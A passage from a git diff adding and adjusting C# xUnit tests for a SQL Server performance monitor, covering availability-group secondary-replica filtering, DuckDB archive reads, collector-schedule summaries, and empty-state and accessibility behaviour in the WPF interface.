+        Assert.Equal(2, autogrowth.Metadata["database_count"]);
+
+        /* Node-local: the secondary database's own I/O footprint is still this node's. */
+        Assert.Equal(3000.0, facts["DATABASE_TOTAL_SIZE_MB"].Value, precision: 6);
+
+        var drill = new DrillDownCollector(_duckDb);
+        var files = await LatestValueSeed.AutogrowthFilesAsync(drill, context);
+        Assert.Equal(["PrimDb", "StandDb"], files.Select(f => f.GetProperty("database").GetString()!).OrderBy(n => n).ToArray());
+    }
+
+    [Fact]
+    public async Task ASecondarySecDb_DoesNotHideASeparateDatabaseNamedSecdb()
+    {
+        /* #5558 round 2: on a case-sensitive server collation these are two databases; the filter compares the
+           exact name, so the lower-case twin keeps its DB_CONFIG row. */
+        var end = Now();
+        await SeedAsync(async c =>
+        {
+            await SeedDatabasesAsync(c, end);
+            await LatestValueSeed.InsertDatabaseConfigAsync(c, ServerId, end.AddDays(-1), "secdb", autoShrink: true, rcsiOn: false);
+            await SeedAgAsync(c, end.AddMinutes(-1));
+        });
+
+        var (facts, context) = await FactsAsync(end);
+
+        Assert.Equal(["SecDb"], context.SecondaryReplicaDatabases!.ToArray());
+        var config = facts["DB_CONFIG"];
+        Assert.Equal(3, config.Metadata["database_count"]);
+        Assert.Equal(3, config.Metadata["auto_shrink_on_count"]);
+    }
+
+    [Fact]
+    public async Task CompareAndFactsReads_CarryTheSetTheirContextFilteredWith_SoTheNoteCannotDisagree()
+    {
+        /* #5558 round 2: compare_analysis and get_analysis_facts build secondary_replica_note from what the read
+           returns, not from a second read of the role. The baseline window ends BEFORE the only snapshot (nothing known,
+           nothing skipped) and the comparison window ends after it (SecDb skipped): each window's returned set is its own. */
+        var end = Now();
+        await SeedAsync(async c => { await SeedDatabasesAsync(c, end); await SeedAgAsync(c, end.AddMinutes(-1)); });
+        var service = new AnalysisService(_duckDb);
+
+        var (_, _, _, _, _, baselineSecondaries, comparisonSecondaries) = await service.ComparePeriodsAsync(
+            ServerId, "ag-scope",
+            end.AddHours(-30), end.AddHours(-26), end.AddHours(-4), end,
+            TestContext.Current.CancellationToken);
+        Assert.Empty(baselineSecondaries!);
+        Assert.Null(AgReplicaScope.SkippedNote(baselineSecondaries));
+        Assert.Equal(["SecDb"], comparisonSecondaries!.ToArray());
+        Assert.Equal(AgReplicaScope.SkippedNote(1), AgReplicaScope.SkippedNote(comparisonSecondaries));
+
+        var (_, _, caveats) = await service.CollectAndScoreFactsAsync(ServerId, "ag-scope", 4, end, TestContext.Current.CancellationToken);
+        Assert.Equal(["SecDb"], caveats.SecondaryReplicaDatabases!.ToArray());
+    }
+
+    [Fact]
+    public async Task TheDbConfigDrillDown_ListsTheSameDatabasesTheFactCounted()
+    {
+        var end = Now();
+        await SeedAsync(async c => { await SeedDatabasesAsync(c, end); await SeedAgAsync(c, end.AddMinutes(-1)); });
+        var (_, context) = await FactsAsync(end);
+
+        var finding = new AnalysisFinding
+        {
+            ServerId = ServerId, RootFactKey = "DB_CONFIG", StoryPath = "DB_CONFIG", PathKeys = ["DB_CONFIG"], Severity = 0.3,
+        };
+        await new DrillDownCollector(_duckDb).EnrichFindingsAsync([finding], context);
+
+        var json = System.Text.Json.JsonSerializer.Serialize(finding.DrillDown);
+        Assert.Contains("PrimDb", json);
+        Assert.Contains("StandDb", json);
+        Assert.DoesNotContain("SecDb", json);
+    }
+
+    [Fact]
+    public async Task OnThePrimary_OrWithNoOrStaleAgRows_NothingIsSkipped()
+    {
+        var end = Now();
+
+        /* No AG rows at all. */
+        await SeedAsync(c => SeedDatabasesAsync(c, end));
+        var (noRows, noRowsContext) = await FactsAsync(end);
+        Assert.Empty(noRowsContext.SecondaryReplicaDatabases!);
+        Assert.Equal(3, noRows["DB_CONFIG"].Metadata["database_count"]);
+
+        /* Rows exist, but the newest is three hours old: stale, so the role vouches for nothing. */
+        await SeedAsync(c => SeedAgAsync(c, end.AddHours(-3)));
+        var (stale, staleContext) = await FactsAsync(end);
+        Assert.Empty(staleContext.SecondaryReplicaDatabases!);
+        Assert.Equal(3, stale["DB_CONFIG"].Metadata["database_count"]);
+
+        /* A fresh snapshot whose local role is PRIMARY for the group. */
+        await SeedAsync(c => SeedAgAsync(c, end.AddMinutes(-1), secondaryRole: "PRIMARY"));
+        var (primary, primaryContext) = await FactsAsync(end);
+        Assert.Empty(primaryContext.SecondaryReplicaDatabases!);
+        Assert.Equal(3, primary["DB_CONFIG"].Metadata["database_count"]);
+    }
+
+    [Fact]
+    public async Task TheRoleIsReadFromTheArchive_WhenTheHotTablesHoldNoAgRows()
+    {
+        var end = Now();
+        var dir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(dir, "archive"));
+        try
+        {
+            var dbPath = Path.Combine(dir, "test.duckdb");
+            using var initializer = new DuckDbInitializer(dbPath);
+            await initializer.InitializeFromTemplateAsync();
+
+            /* The AG snapshot an AsOf or compare window reaches once archival has moved it to Parquet (after 7 days, or
+               all of it at the 512 MB reset): the hot tables are empty afterwards, only the v_ views still see it. */
+            var at = end.AddDays(-10);
+            using (var connection = new DuckDBConnection($"Data Source={dbPath}"))
+            {
+                await connection.OpenAsync(TestContext.Current.CancellationToken);
+                await SeedAgAsync(connection, at);
+                foreach (var table in new[] { "ag_replica_states", "ag_database_replica_states" })
+                {
+                    var parquet = Path.Combine(dir, "archive", "20260101_0000_" + table + ".parquet").Replace("\\", "/");
+                    await ExecAsync(connection, $"COPY {table} TO '{parquet}' (FORMAT PARQUET)");
+                    await ExecAsync(connection, $"DELETE FROM {table}");
+                }
+            }
+
+            await initializer.CreateArchiveViewsAsync();
+
+            var archived = await SecondaryReplicaScope.ReadAsync(initializer, ServerId, at.AddMinutes(1), CancellationToken.None);
+            Assert.Equal(["SecDb"], archived.ToArray());
+
+            /* A bare-table read finds nothing there, which is the bug this pins: it would have skipped nothing. */
+            using var bare = new DuckDBConnection($"Data Source={dbPath}");
+            await bare.OpenAsync(TestContext.Current.CancellationToken);
+            using var count = bare.CreateCommand();
+            count.CommandText = "SELECT COUNT(*) FROM ag_replica_states";
+            Assert.Equal(0L, Convert.ToInt64(await count.ExecuteScalarAsync(TestContext.Current.CancellationToken)));
+        }
+        finally
+        {
+            try { Directory.Delete(dir, recursive: true); } catch { /* best-effort cleanup */ }
+        }
+    }
+
+    [Fact]
+    public async Task AnAsOfPass_UsesTheRoleAtItsOwnEnd_NotTheCurrentOne()
+    {
+        var now = Now();
+        /* Primary three hours ago, secondary a minute ago (a failover in between). */
+        await SeedAsync(async c =>
+        {
+            await SeedDatabasesAsync(c, now);
+            await SeedAgAsync(c, now.AddHours(-3).AddMinutes(-1), secondaryRole: "PRIMARY");
+            await SeedAgAsync(c, now.AddMinutes(-1));
+        });
+
+        var current = await SecondaryReplicaScope.ReadAsync(_duckDb, ServerId, now, CancellationToken.None);
+        Assert.Equal(["SecDb"], current.ToArray());
+
+        var earlier = await SecondaryReplicaScope.ReadAsync(_duckDb, ServerId, now.AddHours(-3), CancellationToken.None);
+        Assert.Empty(earlier);
+    }
+
+    [Fact]
+    public async Task PlanRegression_DropsTheSecondaryDatabase()
+    {
+        var end = Now();
+        await SeedAsync(async c =>
+        {
+            await SeedAgAsync(c, end.AddMinutes(-1));
+            foreach (var db in new[] { "SecDb", "StandDb" })
+            {
+                await SeedRegressionAsync(c, end, db, planId: 1, hash: "0xGOOD", avgCpu: 100_000, lastExec: end.AddDays(-5), firstExec: end.AddDays(-6));
+                await SeedRegressionAsync(c, end, db, planId: 2, hash: "0xBAD", avgCpu: 1_200_000, lastExec: end, firstExec: end.AddDays(-1));
+            }
+        });
+
+        var (facts, context) = await FactsAsync(end);
+
+        Assert.Equal(1, facts["PLAN_REGRESSION"].Metadata["offender_count"]);
+        Assert.All(context.PlanRegressionOffenders!, o => Assert.Equal("StandDb", o.DatabaseName));
+    }
+
+    [Fact]
+    public async Task ObjectGrowth_DropsTheSecondaryDatabase_ButTheContentionAnomalyIsNotTouched()
+    {
+        var end = Now();
+        await SeedAsync(async c =>
+        {
+            await SeedAgAsync(c, end.AddMinutes(-1));
+            /* SecDb also gains the largest lock-wait time, so the contention anomaly (node-local, never filtered) has a
+               secondary-copy database to name. */
+            foreach (var (db, grownMb, lockWaitMs) in new[] { ("SecDb", 900m, 900_000L), ("StandDb", 500m, 200_000L) })
+            {
+                await SeedObjectAsync(c, end.AddDays(-1), db, 100m);
+                await SeedObjectAsync(c, end, db, 100m + grownMb, lockWaitMs);
+            }
+            for (var d = 1; d <= 5; d++)
+                await ExecAsync(c, "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1,$2,$3,'n',$2,10,0)",
+                    Interlocked.Decrement(ref s_id), end.AddDays(-d), ServerId);
+        });
+
+        var context = Context(end);
+        await SecondaryReplicaScope.EnsureAsync(_duckDb, context);
+        var detector = new AnomalyDetector(_duckDb, new BaselineProvider(_duckDb));
+        var anomalies = await detector.DetectAnomaliesAsync(context);
+
+        var growth = Assert.Single(anomalies, f => f.Key == "ANOMALY_OBJECT_GROWTH");
+        Assert.Equal("StandDb", growth.DatabaseName);
+
+        var contention = Assert.Single(anomalies, f => f.Key == "ANOMALY_OBJECT_CONTENTION");
+        Assert.Equal("SecDb", contention.DatabaseName);
+    }
+
+    private static Task SeedRegressionAsync(DuckDBConnection c, DateTime end, string db, long planId, string hash, long avgCpu,
+        DateTime lastExec, DateTime firstExec) =>
+        ExecAsync(c, @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc,
+     first_execution_time, last_execution_time, query_text, query_hash, execution_count, avg_cpu_time_us,
+     avg_duration_us, query_plan_hash, is_forced_plan, force_failure_count)
+VALUES ($1,$2,$3,'n',$4,101,$5,'Regular',$6,$7,'SELECT 1','0xQH',100,$8,$8,$9,false,0)",
+            Interlocked.Decrement(ref s_id), end, ServerId, db, planId, firstExec, lastExec, avgCpu, hash);
+
+    private static Task SeedObjectAsync(DuckDBConnection c, DateTime at, string db, decimal reservedMb, long lockWaitMs = 0) =>
+        ExecAsync(c, @"
+INSERT INTO index_object_stats
+    (collection_id, collection_time, server_id, server_name, sqlserver_start_time, database_name, database_id,
+     schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+     user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_in_ms, index_lock_promotion_count)
+VALUES ($1,$2,$3,'n',$4,$5,7,'dbo',100,'Big',1,'PK_Big','CLUSTERED',$6,$6,1000,0,0,0,0,$7,0)",
+            Interlocked.Decrement(ref s_id), at, ServerId, at.AddDays(-10), db, reservedMb, lockWaitMs);
+}
diff --git a/Lite.Tests/ServerClockDstReadTests.cs b/Lite.Tests/ServerClockDstReadTests.cs
index 889343cd3f..27329a0e54 100644
--- a/Lite.Tests/ServerClockDstReadTests.cs
+++ b/Lite.Tests/ServerClockDstReadTests.cs
@@ -48,6 +48,7 @@ namespace PerformanceMonitorLite.Tests;
 /// (<c>AnalysisService.ResolveTraceAnchorAsync</c>) and the long-running job read
 /// (<c>LocalDataService.GetAnomalousJobsAsync</c>).</para>
 /// </summary>
+[Trait("Cost", "Slow")]
 public sealed class ServerClockDstReadTests : IClassFixture<SharedDuckDbFixture>, IDisposable
 {
     private const int ServerId = 48210;
diff --git a/Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs b/Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs
index a0c4467129..5282509d5b 100644
--- a/Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs
+++ b/Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs
@@ -97,7 +97,7 @@ public void MainQuery_ReadsTheTimeZoneId_OnlyThroughAGatedDynamicBatch_AndBindsI
            so comments are stripped first), and it is inside an N'...' literal handed to sp_executesql. */
         var code = System.Text.RegularExpressions.Regex.Replace(text, @"/\*.*?\*/", " ", System.Text.RegularExpressions.RegexOptions.Singleline);
         Assert.Single(System.Text.RegularExpressions.Regex.Matches(code, @"CURRENT_TIMEZONE_ID\s*\(\s*\)"));
-        Assert.Contains("EXEC sys.sp_executesql\n            N'SELECT @tz = CURRENT_TIMEZONE_ID();',\n            N'@tz nvarchar(128) OUTPUT', @tz = @time_zone_id OUTPUT;", text, StringComparison.Ordinal);
+        Assert.Contains("EXEC sys.sp_executesql\n            N'SELECT /* PerformanceMonitorLite */ @tz = CURRENT_TIMEZONE_ID();',\n            N'@tz nvarchar(128) OUTPUT', @tz = @time_zone_id OUTPUT;", text, StringComparison.Ordinal);
 
         /* The gate (both arms), then TRY, then the EXEC, then the CATCH that leaves NULL — in that order. */
         var gate = code.IndexOf("IF CONVERT(integer, SERVERPROPERTY(N'ProductMajorVersion')) >= 16\nOR CONVERT(integer, SERVERPROPERTY(N'EngineEdition')) IN (5, 8)\nBEGIN", StringComparison.Ordinal);
diff --git a/Lite.Tests/ServerScheduleSummaryTests.cs b/Lite.Tests/ServerScheduleSummaryTests.cs
new file mode 100644
index 0000000000..6c3bd25726
--- /dev/null
+++ b/Lite.Tests/ServerScheduleSummaryTests.cs
@@ -0,0 +1,132 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Settings > Collector Schedules showed Preset "Custom" next to Status "Default" on every server. The two columns
+/// answer different questions (what the schedule matches, whose schedule it is), and the "Custom" was real: the
+/// saved default schedule still carried deadlocks at 1 minute, the interval before #1963 made it 5. These pin one
+/// read for both columns, wording that names what each means, and a tooltip that names the intervals that differ.
+/// </summary>
+public sealed class ServerScheduleSummaryTests : IDisposable
+{
+    private const string ServerKey = "schedule-summary-server";
+    private readonly string _configDir = Path.Combine(Path.GetTempPath(), "pm-schedule-summary-" + Guid.NewGuid().ToString("N"));
+
+    public ServerScheduleSummaryTests() => Directory.CreateDirectory(_configDir);
+
+    public void Dispose()
+    {
+        try { Directory.Delete(_configDir, recursive: true); } catch { /* best effort */ }
+    }
+
+    [Fact]
+    public void Shipped_defaults_read_as_Balanced_and_follow_the_default_schedule()
+    {
+        var manager = new ScheduleManager(_configDir);
+
+        var summary = manager.GetServerScheduleSummary(ServerKey);
+
+        Assert.Equal("Balanced", summary.Preset);
+        Assert.Equal(ScheduleManager.StatusUsesDefault, summary.Status);
+        Assert.Equal("Uses default", summary.Status);
+        Assert.Contains("matches the Balanced preset", summary.PresetDetail);
+        Assert.Equal(summary.Preset, manager.GetActivePreset());
+    }
+
+    [Fact]
+    public void An_older_interval_kept_in_the_default_schedule_reads_Custom_and_the_tooltip_names_it()
+    {
+        var manager = new ScheduleManager(_configDir);
+        manager.UpdateSchedule("deadlocks", frequencyMinutes: 1);
+
+        var summary = manager.GetServerScheduleSummary(ServerKey);
+
+        Assert.Equal("Custom", summary.Preset);
+        Assert.Equal("Uses default", summary.Status);
+        Assert.Contains("deadlocks 1m (Balanced 5m)", summary.PresetDetail);
+        Assert.Contains("Closest is Balanced", summary.PresetDetail);
+    }
+
+    [Fact]
+    public void A_server_with_its_own_schedule_reads_Own_schedule_and_its_own_preset()
+    {
+        var manager = new ScheduleManager(_configDir);
+        var own = manager.GetDefaultSchedule().Select(s => new CollectorSchedule
+        {
+            Name = s.Name, Enabled = s.Enabled, FrequencyMinutes = s.FrequencyMinutes, RetentionDays = s.RetentionDays,
+        }).ToList();
+        manager.SetScheduleForServer(ServerKey, own);
+        ScheduleManager.ApplyPreset(own, "Low-Impact");
+        manager.SetScheduleForServer(ServerKey, own);
+
+        var summary = manager.GetServerScheduleSummary(ServerKey);
+
+        Assert.Equal("Low-Impact", summary.Preset);
+        Assert.Equal("Own schedule", summary.Status);
+        Assert.Equal(summary.Preset, ScheduleManager.DetectPreset(own));
+        Assert.Equal("Balanced", manager.GetActivePreset());
+    }
+
+    [Fact]
+    public void One_changed_interval_on_a_server_schedule_reads_Custom_with_Own_schedule()
+    {
+        var manager = new ScheduleManager(_configDir);
+        var own = manager.GetDefaultSchedule().Select(s => new CollectorSchedule
+        {
+            Name = s.Name, Enabled = s.Enabled, FrequencyMinutes = s.FrequencyMinutes, RetentionDays = s.RetentionDays,
+        }).ToList();
+        own.First(s => s.Name == "wait_stats").FrequencyMinutes = 3;
+        manager.SetScheduleForServer(ServerKey, own);
+
+        var summary = manager.GetServerScheduleSummary(ServerKey);
+
+        Assert.Equal("Custom", summary.Preset);
+        Assert.Equal("Own schedule", summary.Status);
+        Assert.Contains("wait_stats 3m", summary.PresetDetail);
+    }
+
+    [Fact]
+    public void The_tooltip_lists_five_differences_and_counts_the_rest()
+    {
+        var schedules = ScheduleManager.GetDefaultSchedules();
+        foreach (var name in new[] { "wait_stats", "latch_stats", "spinlock_stats", "cpu_scheduler_stats", "query_stats", "procedure_stats", "deadlocks" })
+        {
+            schedules.First(s => s.Name == name).FrequencyMinutes = 7;
+        }
+
+        var detail = ScheduleManager.DescribePresetMatch(schedules);
+
+        Assert.StartsWith("Custom: no preset matches.", detail);
+        Assert.Contains("and 2 more", detail);
+    }
+
+    [Fact]
+    public void Settings_window_reads_both_columns_from_the_one_summary()
+    {
+        var code = File.ReadAllText(Path.Combine(FindRepoRoot(), "Lite", "Windows", "SettingsWindow.xaml.cs"));
+        var start = code.IndexOf("private void LoadServerScheduleSummary()", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = code.Substring(start, code.IndexOf("DefaultPresetText.Text", start, StringComparison.Ordinal) - start);
+
+        Assert.Contains("GetServerScheduleSummary(", body);
+        Assert.DoesNotContain("HasServerOverride(", body);
+        Assert.DoesNotContain("GetActivePresetForServer(", body);
+    }
+
+    private static string FindRepoRoot()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir != null && !File.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+        return dir?.FullName ?? throw new InvalidOperationException("repo root not found");
+    }
+}
diff --git a/Lite.Tests/ServerTabCapabilityPinTests.cs b/Lite.Tests/ServerTabCapabilityPinTests.cs
index 9c7337d93d..d358e5fc86 100644
--- a/Lite.Tests/ServerTabCapabilityPinTests.cs
+++ b/Lite.Tests/ServerTabCapabilityPinTests.cs
@@ -36,6 +36,7 @@ namespace Lite.Tests;
 /// Text-scans SOURCE (XAML + .cs), located from this file's compile-time path — NO WPF / DuckDB / assembly
 /// load, exactly like the other parity pins.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ServerTabCapabilityPinTests
 {
     /* ---------------- section facts ---------------- */
diff --git a/Lite.Tests/ServerTabEmptyStateAndNamesTests.cs b/Lite.Tests/ServerTabEmptyStateAndNamesTests.cs
new file mode 100644
index 0000000000..eb96938158
--- /dev/null
+++ b/Lite.Tests/ServerTabEmptyStateAndNamesTests.cs
@@ -0,0 +1,397 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Controls;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Lite click-through F15 (empty grids and charts say so), F17 (tabs and column headers have accessible names), F18 (the tab
+/// strip never reorders its rows) and F19 (lane labels carry units).
+/// </summary>
+[Trait("Reads", "Darling")]
+public class ServerTabEmptyStateAndNamesTests
+{
+    private static string RepoFile(string relative, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", relative)));
+
+    private static List<TextBlock> EmptyTexts(Grid grid) =>
+        grid.Children.OfType<TextBlock>().Where(t => t.Name.StartsWith(EmptyState.ElementName, StringComparison.Ordinal)).ToList();
+
+    [Fact]
+    public void EmptyState_ShowsItsTextOverAnEmptyGrid_AndHidesItWhenRowsArrive()
+    {
+        var (shownEmpty, text, shownWithRows) = StaTestThread.Run(() =>
+        {
+            var host = new Grid();
+            var dataGrid = new DataGrid();
+            host.Children.Add(dataGrid);
+            EmptyState.SetText(dataGrid, "No deadlocks in the selected time window.");
+
+            EmptyState.Show(dataGrid, isEmpty: true);
+            var block = Assert.Single(EmptyTexts(host));
+            var visibleEmpty = block.Visibility == Visibility.Visible;
+
+            EmptyState.Show(dataGrid, isEmpty: false);
+
+            return (visibleEmpty, block.Text, EmptyTexts(host).Single().Visibility == Visibility.Visible);
+        });
+
+        Assert.True(shownEmpty);
+        Assert.Equal("No deadlocks in the selected time window.", text);
+        Assert.False(shownWithRows);
+    }
+
+    [Fact]
+    public void EmptyState_AGridThatNeverIsEmpty_GetsNoElement_AndAChartInABorderIsAnchoredOnTheBorder()
+    {
+        var (neverEmptyCount, borderRow, borderBlockRow) = StaTestThread.Run(() =>
+        {
+            var host = new Grid();
+            var rows = new DataGrid();
+            host.Children.Add(rows);
+            EmptyState.Show(rows, isEmpty: false);
+            var neverEmpty = EmptyTexts(host).Count;
+
+            var wrapped = new Border { Child = new Canvas { Name = "FakeChart" } };
+            Grid.SetRow(wrapped, 3);
+            host.Children.Add(wrapped);
+            EmptyState.Show((FrameworkElement)wrapped.Child, isEmpty: true, "No blocking in the selected time window.");
+
+            return (neverEmpty, Grid.GetRow(wrapped), Grid.GetRow(EmptyTexts(host).Single()));
+        });
+
+        Assert.Equal(0, neverEmptyCount);
+        Assert.Equal(borderRow, borderBlockRow);
+    }
+
+    [Fact]
+    public void EmptyState_LeavesASurfaceWithItsOwnNoDataMessageAlone()
+    {
+        var count = StaTestThread.Run(() =>
+        {
+            var host = new Grid();
+            var dataGrid = new DataGrid();
+            host.Children.Add(dataGrid);
+            host.Children.Add(new TextBlock { Name = "SevereErrorsNoDataMessage" });
+
+            EmptyState.Show(dataGrid, isEmpty: true);
+            return EmptyTexts(host).Count;
+        });
+
+        Assert.Equal(0, count);
+    }
+
+    [Theory]
+    [InlineData("NoAlertsMessage")]
+    [InlineData("NoJobsMessage")]
+    [InlineData("NoDbSizesMessage")]
+    [InlineData("NoStorageGrowthMessage")]
+    public void EmptyState_LeavesASurfaceWithAnyOtherOwnMessageAlone_SoTwoTextsAreNeverDrawnOverEachOther(string siblingName)
+    {
+        var (sameCell, otherCell) = StaTestThread.Run(() =>
+        {
+            var host = new Grid();
+            var dataGrid = new DataGrid();
+            host.Children.Add(dataGrid);
+            host.Children.Add(new TextBlock { Name = siblingName });
+            EmptyState.Show(dataGrid, isEmpty: true);
+            var sameCellCount = EmptyTexts(host).Count;
+
+            /* A message in ANOTHER cell does not stop the text. */
+            var other = new Grid();
+            var grid2 = new DataGrid();
+            other.Children.Add(grid2);
+            var message = new TextBlock { Name = siblingName };
+            Grid.SetRow(message, 1);
+            other.Children.Add(message);
+            EmptyState.Show(grid2, isEmpty: true);
+            return (sameCellCount, EmptyTexts(other).Count);
+        });
+
+        Assert.Equal(0, sameCell);
+        Assert.Equal(1, otherCell);
+    }
+
+    [Fact]
+    public void EmptyState_TheGenericGridWording_MatchesTheThemesNoDataText()
+    {
+        Assert.Equal("No data for the selected time range.", EmptyState.DefaultGridText);
+        foreach (var theme in new[] { "Lite/Themes/DarkTheme.xaml", "Lite/Themes/LightTheme.xaml", "Lite/Themes/CoolBreezeTheme.xaml",
+            "Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml", "Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml", "Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml" })
+        {
+            Assert.Contains("Value=\"" + EmptyState.DefaultGridText + "\"", RepoFile(theme), StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ASlicerWithNoDataShowsItsTextOnTheChartCanvas_NotOverTheHeader_AndDropsThePreviousBars()
+    {
+        var (before, text, cleared) = StaTestThread.Run(() =>
+        {
+            var slicer = new PerformanceMonitorLite.Controls.TimeRangeSlicerControl();
+            var start = new DateTime(2026, 10, 1, 0, 0, 0, DateTimeKind.Utc);
+            var buckets = Enumerable.Range(0, 6)
+                .Select(i => new PerformanceMonitor.Common.TimeSliceBucket { BucketTime = start.AddHours(i), Value = i + 1 })
+                .ToList();
+            slicer.LoadData(buckets, "Total CPU (ms)", start, start.AddHours(6));
+            var held = slicer.SelectionStartUtc;
+            slicer.ShowEmpty("No query statistics in the selected time window.");
+            return (held, slicer.EmptyText, slicer.SelectionStartUtc);
+        });
+
+        Assert.NotNull(before);
+        Assert.Equal("No query statistics in the selected time window.", text);
+        Assert.Null(cleared);
+
+        foreach (var file in new[] { "Lite/Controls/TimeRangeSlicerControl.xaml.cs", "Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs" })
+        {
+            var source = RepoFile(file);
+            Assert.Contains("if (_data.Count < 1) { DrawEmptyText(); return; }", source, StringComparison.Ordinal);
+            Assert.Contains("_emptyText = null;", source, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void AccessibleNames_RecomputeAnAutoName_WhenTheHeaderTextChanges_ButNeverReplaceAHandSetOne()
+    {
+        var (first, second, handSet) = StaTestThread.Run(() =>
+        {
+            var text = new TextBlock { Text = "SQL2022" };
+            var panel = new StackPanel();
+            panel.Children.Add(text);
+            var tab = new TabItem { Header = panel };
+            AccessibleNames.Name(tab, tab.Header);
+            var firstName = AutomationProperties.GetName(tab);
+            text.Text = "SQL2022 (renamed)";
+            var secondName = AutomationProperties.GetName(tab);
+
+            var other = new TextBlock { Text = "A" };
+            var otherPanel = new StackPanel();
+            otherPanel.Children.Add(other);
+            var named = new TabItem { Header = otherPanel };
+            AutomationProperties.SetName(named, "Alerts");
+            AccessibleNames.Name(named, named.Header);
+            other.Text = "B";
+            return (firstName, secondName, AutomationProperties.GetName(named));
+        });
+
+        Assert.Equal("SQL2022", first);
+        Assert.Equal("SQL2022 (renamed)", second);
+        Assert.Equal("Alerts", handSet);
+    }
+
+    [Fact]
+    public void AccessibleNames_GiveAColumnFilterButtonItsOwnName()
+    {
+        var buttonName = StaTestThread.Run(() =>
+        {
+            var panel = new StackPanel { Orientation = Orientation.Horizontal };
+            var button = new Button();
+            panel.Children.Add(button);
+            panel.Children.Add(new TextBlock { Text = "Duration (ms)" });
+            var header = new System.Windows.Controls.Primitives.DataGridColumnHeader { Content = panel };
+            AccessibleNames.Name(header, header.Content);
+            return AutomationProperties.GetName(button);
+        });
+
+        Assert.Equal("Filter Duration (ms)", buttonName);
+    }
+
+    [Fact]
+    public void TheOverviewCard_HasAnAutomationPeerThatCarriesItsName()
+    {
+        var (peerName, controlType) = StaTestThread.Run(() =>
+        {
+            var card = new PerformanceMonitorLite.Controls.OverviewCardBorder();
+            AutomationProperties.SetName(card, "example-sql-01");
+            var peer = System.Windows.Automation.Peers.UIElementAutomationPeer.CreatePeerForElement(card);
+            return (peer.GetName(), peer.GetAutomationControlType());
+        });
+
+        Assert.Equal("example-sql-01", peerName);
+        Assert.Equal(System.Windows.Automation.Peers.AutomationControlType.Group, controlType);
+        Assert.Contains("<controls:OverviewCardBorder", RepoFile("Lite/MainWindow.xaml"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EmptyState_ClearOfBaseline_PutsTheTextNearTheTop_AndTheDefaultStaysCentered()
+    {
+        var (centered, clear) = StaTestThread.Run(() =>
+        {
+            var host = new Grid();
+            var plain = new Border();
+            host.Children.Add(plain);
+            EmptyState.Show(plain, isEmpty: true, "No blocking in the selected time window.");
+            var plainText = EmptyTexts(host).Single();
+
+            var host2 = new Grid();
+            var chart = new Border();
+            host2.Children.Add(chart);
+            EmptyState.Show(chart, isEmpty: true, "No blocking in the selected time window.", clearOfBaseline: true);
+            var clearText = EmptyTexts(host2).Single();
+            return ((plainText.VerticalAlignment, plainText.Margin.Top), (clearText.VerticalAlignment, clearText.Margin.Top));
+        });
+
+        Assert.Equal(VerticalAlignment.Center, centered.Item1);
+        Assert.Equal(0d, centered.Item2);
+        Assert.Equal(VerticalAlignment.Top, clear.Item1);
+        Assert.True(clear.Item2 > 0d, "the text sits on the zero line again");
+
+        foreach (var file in new[] { "Lite/Controls/ServerTab.Charts.cs", "Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs" })
+        {
+            var source = RepoFile(file);
+            Assert.Contains("\"No blocking in the selected time window.\", clearOfBaseline: true)", source, StringComparison.Ordinal);
+            Assert.Contains("\"No deadlocks in the selected time window.\", clearOfBaseline: true)", source, StringComparison.Ordinal);
+        }
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding LogicalReads, StringFormat='{}{0:N0}'}\" Width=\"136\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding PhysicalReads, StringFormat='{}{0:N0}'}\" Width=\"141\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding CleanupState}\" Width=\"106\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "StringFormat='{}{0:yyyy-MM-dd HH:mm:ss}'}\" Width=\"156\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding SkippedLowWaterMark, StringFormat='{}{0:N0}'}\" Width=\"171\"")]
+    [InlineData("Lite/Controls/FinOpsTab.xaml", "Binding=\"{Binding DailyWriteOpsSaved}\" Width=\"166\"")]
